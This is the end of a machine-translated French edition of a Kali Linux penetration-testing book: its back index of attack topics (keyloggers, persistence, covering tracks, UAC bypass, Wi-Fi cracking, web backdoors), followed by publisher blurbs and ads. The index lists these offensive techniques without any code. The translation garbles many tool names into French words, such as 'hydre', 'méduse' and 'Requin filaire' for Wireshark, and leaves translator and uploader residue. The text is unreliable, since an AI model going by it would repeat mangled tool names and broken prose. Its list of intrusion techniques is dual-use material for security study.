utilisé, pour accéder à de nouveaux comptes 143 dénombrement des hôtes, reconnaissance active environ 75 découverte de l'hôte en direct 75 accès physique hostile 198 Équilibrage de charge HTTP 74 hydre 260, 262 je commande ifconfig 18 Mécanisme d'enregistreur de frappe iFrame 311 outil ike-scan 280 incognito utilisé, pour rejouer l'authentification jetons 140, 141 vecteur d'initialisation (IV) 214 Inj3ct0r URL 94 instanbul 36 persistance interactive maintenir 149
[ 330 ] intercepteur 194 Échange de clés Internet (IKE) 279 VPN IPSec environ 278 En-tête d'authentification (AH) 278 Protocole de sécurité d'encapsulation (ESP) 278 Association de sécurité 279 VPN IPSec, attaquant comptes d'utilisateurs par défaut, identifiant 283 craquage PSK hors ligne, effectuant 282, 283 clés pré-partagées, capture 282 sécurité, accès 279
Page 347
Passerelle VPN, empreintes digitales 280, 281 Passerelles VPN, analyse 279, 280 ISAKMP 279 J Méthode d'attaque d'applet Java environ 174 lancement 181 en utilisant 181-185 K Kali Linux environ 15 313 configuration 25 de configuration, pour les attaques sans fil 204 personnalisation 25 dossier chiffré, création avec TrueCrypt 30-35 fonctionnalités 16 dossiers, partage avec Microsoft Fenêtres 28, 29 cryptage complet du disque, utilisant 316, 317 possibilités d'installation 314 installation 313, 314 installation, sur la machine virtuelle (VM) 315, 316 Opérations Kali, accélération 26-28 clé principale, nuking 318-320 installations réseau 314 utilisateur non root, ajout de 26 mot de passe root, réinitialisation 26 mise à jour 23 Opérations de Kali accélération 26-28 commande keylogger 298 Kismet environ 207 lancement 208
L LAMPESécurité 325 Configuration de clé unifiée Linux (LUKS) 316, 317 commande load_applet 298 load_pdf commande 298 charger la commande xssf 293 Hôte local (LHOST) 102 Gestion des volumes logiques (LVM) 316 LogMeIn 264 Outil de canon à ions en orbite basse (LOIC) 250 M Authentification par adresse MAC contournement 212, 213 Maltego environ 46, 85-87 URL 85 MandiantMemoryze 130 mécanisme de l'homme dans le navigateur 311 MassMailer Attaque 175 Adresse MAC (Media Access Control) 211 méduse 260 Métagoofil 60, 61 Metasploit utilisé, pour créer des persistants autonomes mandataire 163-165 utilisé, pour les activités post-exploitation 134-138 Metasploitable 100, 323 Méthode d'exploitation du navigateur Metasploit 174 Cadre Metasploit. Voir MSF Metasploit Pro 110 Variables Metasploit 173 script metsvc environ 159 en utilisant 159 Systèmes d'exploitation Microsoft
test 322 Microsoft Windows dossiers, partage avec 28, 29 mini ISO installer 314
[ 331 ] modules, MSF modules auxiliaires 99 encodeurs 99 exploite 98 Aucune opération (NOP) 99 charges utiles 98 modules de poste 99 MonsolsDumpIt 130 MSF environ 98 module 98 utilisé, pour explorer le système 99-103 Méthode Web multi-attaques environ 175 en utilisant 190 cibles multiples exploration, Armitage d'occasion 105, 106 Mutillidés environ 324 en utilisant 295-298 Site de Mutillidés en utilisant 246 N Base de données nationale sur les vulnérabilités URL 94 craquement 260 nessus URL 88
Page 348
Netchat employant, comme agent persistant 155-158 fonctions 155, 156 requête netstat 22 commande netstat -rn en utilisant 128 commande d'affichage net en utilisant 128 infrastructure de réseau, reconnaissance active identifiant 73, 74 installations réseau mini ISO installer 314 réseau PXE installer 314 Mappeur de réseau (Nmap) 68 paramètres de proxy réseau réglage 20, 21 réseau PXE installer 314 services réseau configuration 18, 19 Exposer URL 88 Nikto 240 NirSoft 139 outil nmap environ 76, 81, 279 fonctions scriptées 81 en utilisant 77 modules NSE nmap environ 270 SSL-cert 270 date ssl 270 ssl-enum-chiffres 270 ssl-google-cert-catalogue 270 clé-ssl-connue 270
sslv2 270 Moteur de script Nmap (NSE) 81 vulnérabilités XSS non persistantes 291 privilèges non root applications tierces, courir avec 37, 38 utilisateur non root ajouter 26 nslookup 50 Hachages NT LanMan (NTLM) 131 fonctionnalité nucléaire en utilisant 318-320 chiffrements nuls 269 O sécurité offensive 313 bureau ouvert 36 Intelligence open source. Voir OSINT Base de données de vulnérabilité Open Source Projet (OSVDP) URL 94 Évaluation ouverte de la vulnérabilité Système (OpenVAS) limites 88 système opérateur empreintes digitales actives 77 empreintes digitales 77 empreintes digitales passives 77 Page 349
[ 332 ] protocoles de communication du système d'exploitation exploiter 258 Identifiant unique organisationnel 212 OSINT environ 45
sources d'informations en ligne 46 Toile brisée OWASP Projet d'applications 326 Mantra de l'OWASP environ 238 vérification des applications 239 éditeurs 239 collecte d'informations 238 divers 239 utilitaires réseau 239 procuration 239 en utilisant 239 P paquets 23 fichiers de capture de paquets (pcap) 67 Sécurité Packetstorm URL 94 empreintes digitales passives 77 patateur 260 tests de pénétration gestion 38-40 persistance, maintien avec Metasploit script metsvc, en utilisant 159-161 script de persistance, en utilisant 161-163 script de persistance environ 161 en utilisant 162, 163 agents persistants fonctions 149, 150 Netcat, employant 155-158 en utilisant 155 persistantes (stockées), vulnérabilités XSS 292 hameçonnage 176 phpmyadmin 324 accès physique 197
chapardage 129 pillage 129 mécanisme de module pop-under 310 ports redirection de port bidirectionnel 167 redirection, pour contourner les contrôles du réseau 165 redirection de port simple 166 analyse des ports 76 activités post-exploitation comptes supplémentaires, création de 133, 134 jetons d'authentification, relecture à l'aide incognito 140, 141 Metasploit, d'occasion 134-138 nouveaux comptes, accès avec horizontal escalade 143 reconnaissance rapide des système, conduisant 122-128 cible, pillage 129-132 pistes, couvrant 144-146 privilèges d'utilisateur, escalade en cas de compromission hôte 139 UAC Windows, contournant 120-122 PowerShell environ 126 applets de commande 127 Vecteurs d'attaque Powershell 175 Attaque par injection PowerShell environ 190 lancement 190 en utilisant 191 clé pré-partagée (PSK) 219 cibles principales 92 injecteur de processus 139 exercice de preuve de concept (POC) 97 pwdump 139
Q Vecteur d'attaque du générateur de QRcode 175 courtepointe installation 267 R Framboise configuration 200 Framboise Pi 200 Vecteurs d'attaque Raspberry Pi environ 200 configuration 200 RDP environ 152 compromettant 258-261
[ 333 ] reconnaissance environ 43 reconnaissance active 43 principes de base 44, 45 OSINT 45 reconnaissance passive 43 reconnaissance, de sites web conduite 230-235 Reconnaissance environ 82, 83 en utilisant 83-85 commande de redirection 298 vulnérabilités reflétées. Voir non persistant Vulnérabilités XSS applications d'accès à distance exploiter 264, 265 Outil d'administration à distance Tommy Édition (RATTE) 175
Page 350
Protocole de bureau à distance. Voir RDP Hôte distant (RHOST) 102 Port distant (RPORT) 102 référentiels 23 rootkit 149 mot de passe racine réinitialisation 26 Attaque RunAs inconvénients 121 lancement 121 S Base de données SAM 129 politique de même origine 291 gommage 36 cibles secondaires 92 Secunia URL 94 Protocole Secure Shell (SSH) environ 21 compromettant 262, 263 Couche de sockets sécurisés. Voir SSL Sécurité test, avec des proxys côté client 243-249 Responsable des comptes de sécurité base de données. Voir la base de données SAM SecurityFocus URL 94 Cadre de politique de l'expéditeur (SPF) 50 serveur exploite 250 Dossiers de service (SRV) 50 Boîte à outils SE environ 172, 175 avantages 172 attaques 174 lancement 172-174
dossiers partagés 28, 29 protocole shikata_ga_nai 164 obturateur 36 redirection de port simple 166 Skipfish 240 Vecteur d'attaque d'usurpation de SMS 175 renifleur 194 ingénierie sociale 171 attaques d'ingénierie sociale Vecteur d'attaque basé sur Arduino 175 créer une charge utile et un module d'écoute 175 escalade, redirection DNS utilisée 194-197 accès physique hostile 198 générateur de milieux infectieux 175 facteurs clés 171 MassMailer Attaque 175 accès physique 197 Vecteurs d'attaque Powershell 175 Vecteur d'attaque du générateur de QRcode 175 Vecteur d'attaque d'usurpation de SMS 175 vecteur d'attaque de spear-phishing 174 modules tiers 175 vecteurs d'attaque de site Web 174 vecteur d'attaque de point d'accès sans fil 175 Boîte à outils de l'ingénieur social. Voir la boîte à outils SE attaque de harponnage environ 176 lancement 176 effectuer 177-181 vecteur d'attaque de spear-phishing 174 Attaque par injection SQL contre, base de données Mutillidae 252 sqlmap 252 SSL 266 SSL, attaque
Kali, configuration pour SSLv2 numérisation 267, 268 phase de reconnaissance, de SSL connexions 269-274
[ 334 ] déni d'attaques de service contre SSL 277, 278 sslstrip, utilisé pour la conduite attaque de l'homme du milieu 275, 277 outil sslcaudit 271 outil sslscan 271 outil sslsniff 271 outil sslsplit 272 outil sslstrip environ 272 utilisé, pour la conduite attaque de l'homme du milieu 275-277 SSLyze 278 outil python sslyze 273 outil sslyze 272 agent persistant autonome création, Metasploit utilisé 163-165 stratégies de balayage furtif, reconnaissance active environ 66 paramètres de paquet, modification 68, 69 proxy, utilisation avec anonymat réseaux 69-72 pile IP source et identification de l'outil paramètres, réglage 66, 67 chiffrements forts 269 T Méthode d'attaque par tabulation environ 174
Page 351
lancement 188 en utilisant 188 cibles pillage 129-132 cibles principales 92 cibles secondaires 92 cibles tertiaires 92 TCP/IP couteau suisse 155 test en équipe Armitage, occasion 107, 108 visionneuse d'équipe 36 Service Telnet activation, à distance 150-152 terminaison 36 cibles tertiaires 92 environnement de test environnements complexes 323 Systèmes d'exploitation Microsoft, test 322 mise en place 321 applications Windows tierces, test 322 Applications Unix, test 322 Installation du système d'exploitation Unix, test 322 l'outil de récolte environ 58 en utilisant 58, 59 applications tierces installation 35, 37 gérer 35 s'exécutant en tant que, avec des privilèges non root 37, 38 applications Windows tierces test 322 modélisation des menaces 92, 93 champ de durée de vie (TTL) 54
TLS 266 outil tlssled 272 Tor environ 69 considérations 73 installation 70, 71 URL 69 en utilisant, avec Privoxy 70 traceroute 74 Sécurité de la couche de transport. Voir TLS Protocole de transfert de fichiers trivial (TFTP) 156 TrueCrypt utilisé, pour créer un dossier crypté 30-35 TSSLd 278 TWiki 324 U Applications Unix test 322 Installation du système d'exploitation Unix test 322 mise à jour, Kali Linux Système de gestion de paquets Debian 23 informations de l'utilisateur métadonnées de document, collecte 59-61 adresse e-mail, collecte 58 noms, collecte 58 obtenir 57
[ 335 ] privilèges d'utilisateur escalade, sur l'hôte compromis 139 utilisateurs profilage, pour les listes de mots de passe 61, 62 V
Page 352
VBScript environ 286 utilisé, pour lancer des attaques 286-289 Véga 240 Voile-Évasion environ 112, 113 fonctionnalités 111 Identifiant du fournisseur (VID) 281 escalade verticale 139 machine virtuelle (VM) environ 16 Kali Linux, installation de 315, 316 Informatique de réseau virtuel activation, à distance 154 VirusTotal URL 165 Édition de scripts Visual Basic. Voir VBScript VPN environ 278 IPSec 278 SSL 278 analyseurs de vulnérabilité environ 236 Arachnide 240 pour les services Web 236 fonctionnalité de la vulnérabilité traditionnelle scanners, extension 237, 238 fonctionnalités des navigateurs Web, extension 238 GoLismero 240 Nikto 240 Skipfish 240 Véga 240 w3af 240 Wapiti 241
Webscarab 241 vulnérabilité spécifique au service Web scanneurs 240 Webshag 241 Websploit 241 scanners de vulnérabilité Web 236 analyse des vulnérabilités environ 88 limites 88 application vulnérable explorer 103, 104 applications Web vulnérables Pierre de fondation 325 Hackxor 325 LAMPESécurité 325 Applications Web brisées OWASP Projet 326 WebChèvre 326 Dojo de sécurité Web 326 Référentiel VulnHub URL 323 VulnVoIP 323 VulnVPN 283, 323 script vulsque URL 81 W w3af 240 Wapiti 241 attaque de numérotation de guerre 48 WCE environ 142 en utilisant 142 chiffrements faibles 269 Attaque et audit d'applications Web Cadre. Voir w3af
portes dérobées Web utilisé, pour maintenir l'accès 254-256 applications Web Mutillidés 324 phpmyadmin 324 test 324 TWiki 324 webdav 324 commande webcam_capture 298 webdav (création distribuée basée sur le Web et versionnage) 324 WebChèvre 326 Méthode d'attaque de Web Jacking 174 Webscarab 241 Dojo de sécurité Web 326 vulnérabilité spécifique au service Web scanneurs 240 Page 353
[ 336 ] Webshag 241 vecteurs d'attaque de site Web environ 174 Méthode d'attaque de la moissonneuse d'identifiants 174 Méthode d'attaque d'applet Java 174 Méthode d'exploitation du navigateur Metasploit 174 Méthode Web multi-attaque 175 Méthode d'attaque tabnabbing 174 Méthode d'attaque de Web Jacking 174 Websploit 241 scanners de vulnérabilité Web 236 Weevely environ 254 création 255 Encryption WEP
compromettre 213-219 WHOIS 48, 49 Accès protégé WiFi 2 (WPA2) 219 Accès protégé WiFi (WPA) 213, 219 Protocole Wi-Fi Protected Setup (WPS) 223 Windows Management Instrumentation Ligne de commande (WMIC) 125 Windows PowerShell environ 289 utilisé, pour lancer des attaques 290, 291 Windows Terminal Services activation, à distance 152, 153 UAC Windows contournement 120, 121 paramètres 120 vecteur d'attaque de point d'accès sans fil 175 communications sans fil point d'accès, clonage 224 Attaques DoS 225 exploiter 203 Kali, configuration pour les attaques sans fil 204 Authentification par adresse MAC, contournement 211-213 Cryptage WEP, compromettant 213-218 reconnaissance sans fil 204 WPA et WPA2, attaquant 219 Confidentialité équivalente sans fil (WEP) 213 reconnaissance sans fil environ 204-207 Kismet 207 Requin filaire 128 outil wkhtmltoimage 82 WPA et WPA2 environ 219 attaquer 219
attaques par force brute 219-223 routeurs sans fil, attaquant avec Reaver 223 X certificat x.509 269 XSS 291 Page 295 des journaux XSSF Cadre XSS environ 292 installation 293 Test XSSF page 295 Fonction tunnel XSSF environ 292 en utilisant 293 Proxy tunnel XSSF 295 Vulnérabilités XSS environ 291 non persistant 291 persistant 291 Oui Yandex URL 46 Z zombie 299 Chargé par [stormrg] Page 354
Merci d'avoir acheté Maîtriser Kali Linux pour les tests de pénétration avancés À propos de la publication Packt Packt, prononcé 'packed', a publié son premier livre " Mastering phpMyAdmin for Effective MySQL Management " en avril 2004 et a par la suite continué à se spécialiser dans l'édition des livres très ciblés sur des technologies et des solutions spécifiques.
Nos livres et publications partagent les expériences de vos collègues professionnels de l'informatique dans l'adaptation et la personnalisation des systèmes, applications et frameworks d'aujourd'hui. Nos livres basés sur des solutions vous donner les connaissances et le pouvoir de personnaliser les logiciels et les technologies que vous utilisez pour faire le travail. Les livres Packt sont plus spécifiques et moins généraux que les livres informatiques que vous avez vu dans le passé. Notre modèle économique unique nous permet de vous apporter des informations plus ciblées, vous donnant plus de ce que vous devez savoir, et moins de ce que vous ne savez pas. Packt est une maison d'édition moderne mais unique, qui se concentre sur la production de qualité, livres de pointe pour les communautés de développeurs, d'administrateurs et de débutants. Pour plus d'informations, veuillez visiter notre site Web : www.packtpub.com . À propos de Packt Open Source En 2010, Packt a lancé deux nouvelles marques, Packt Open Source et Packt Enterprise, afin de continuer à se concentrer sur la spécialisation. Ce livre fait partie de la marque Packt Open Source, home aux livres publiés sur des logiciels construits autour de licences Open Source, et offrant des informations à n'importe qui, des développeurs avancés aux concepteurs de sites Web en herbe. La marque Open Source gère également Open Source Libre Programme de Packt, par lequel Packt donne une redevance à chaque ouvert Projet source sur le logiciel duquel un livre est vendu. Écrire pour Packt Nous accueillons toutes les demandes de personnes intéressées par la création. Les propositions de livres doivent être envoyé à [email protected] . Si votre idée de livre n'en est qu'à ses débuts et que vous aimeriez
pour en discuter avant de rédiger une proposition de livre formelle, contactez-nous; l'un de nos mise en service les éditeurs vous contacteront. Nous ne recherchons pas seulement des auteurs publiés ; si vous avez de solides compétences techniques mais pas d'écriture expérience, nos rédacteurs expérimentés peuvent vous aider à développer une carrière d'écrivain, ou simplement à obtenir récompense supplémentaire pour votre expertise. Page 355
Test de pénétration Web avec Kali Linux ISBN : 978-1-78216-316-9 Broché : 342 pages Un guide pratique pour mettre en œuvre la pénétration stratégies de test sur des sites Web, des applications Web, et protocoles Web standard avec Kali Linux 1. Apprenez les concepts clés de reconnaissance nécessaires en tant que testeur d'intrusion. 2. Attaquer et exploiter les fonctionnalités clés, l'authentification, et des sessions sur des applications Web. 3. Apprenez à protéger les systèmes, rédiger des rapports, et vendre des services de test d'intrusion Web. Livre de recettes Kali Linux ISBN : 978-1-78328-959-2 Broché : 260 pages Plus de 70 recettes pour vous aider à maîtriser Kali Linux pour tests de sécurité de pénétration efficaces 1. Des recettes conçues pour vous éduquer en profondeur sur les principes des tests d'intrusion et Kali Outils Linux. 2. Apprendre à utiliser les outils Kali Linux, tels que Metasploit, Wireshark et bien d'autres
par des instructions détaillées et structurées. 3. Vous enseigner dans un style facile à suivre, plein de des exemples, des illustrations et des conseils qui conviendront experts qu'aux débutants. Veuillez consulter www.PacktPub.com pour plus d'informations sur nos titres Page 356
Ingénierie sociale de Kali Linux ISBN : 978-1-78328-327-9 Broché : 84 pages Effectuer efficacement des activités sociales efficaces et organisées tests d'ingénierie et tests d'intrusion utilisant Kali Linux 1. Découvrez les différentes attaques, ainsi que des conseils et astuces pour les éviter. 2. Maîtrisez les moyens efficaces de performer tests de pénétration. 3. Utilisez des techniques avancées pour contourner la sécurité commandes et restent cachés pendant l'exécution tests d'ingénierie sociale. Apprendre Nessus pour la pénétration Essai ISBN : 978-1-78355-099-9 Broché : 116 pages Maîtriser comment effectuer la sécurité de l'infrastructure informatique évaluations de vulnérabilité à l'aide de Nessus avec des conseils et des aperçus des défis du monde réel rencontrés lors de l'évaluation de la vulnérabilité 1. Comprendre les bases de la vulnérabilité évaluation et tests d'intrusion en tant que ainsi que les différents types de tests.
2. Installez et configurez Nessus avec succès options de numérisation. 3. Apprenez des conseils utiles basés sur des problèmes du monde réel rencontrés lors de la numérisation. Veuillez consulter www.PacktPub.com pour plus d'informations sur nos titres Original textContribute a better translation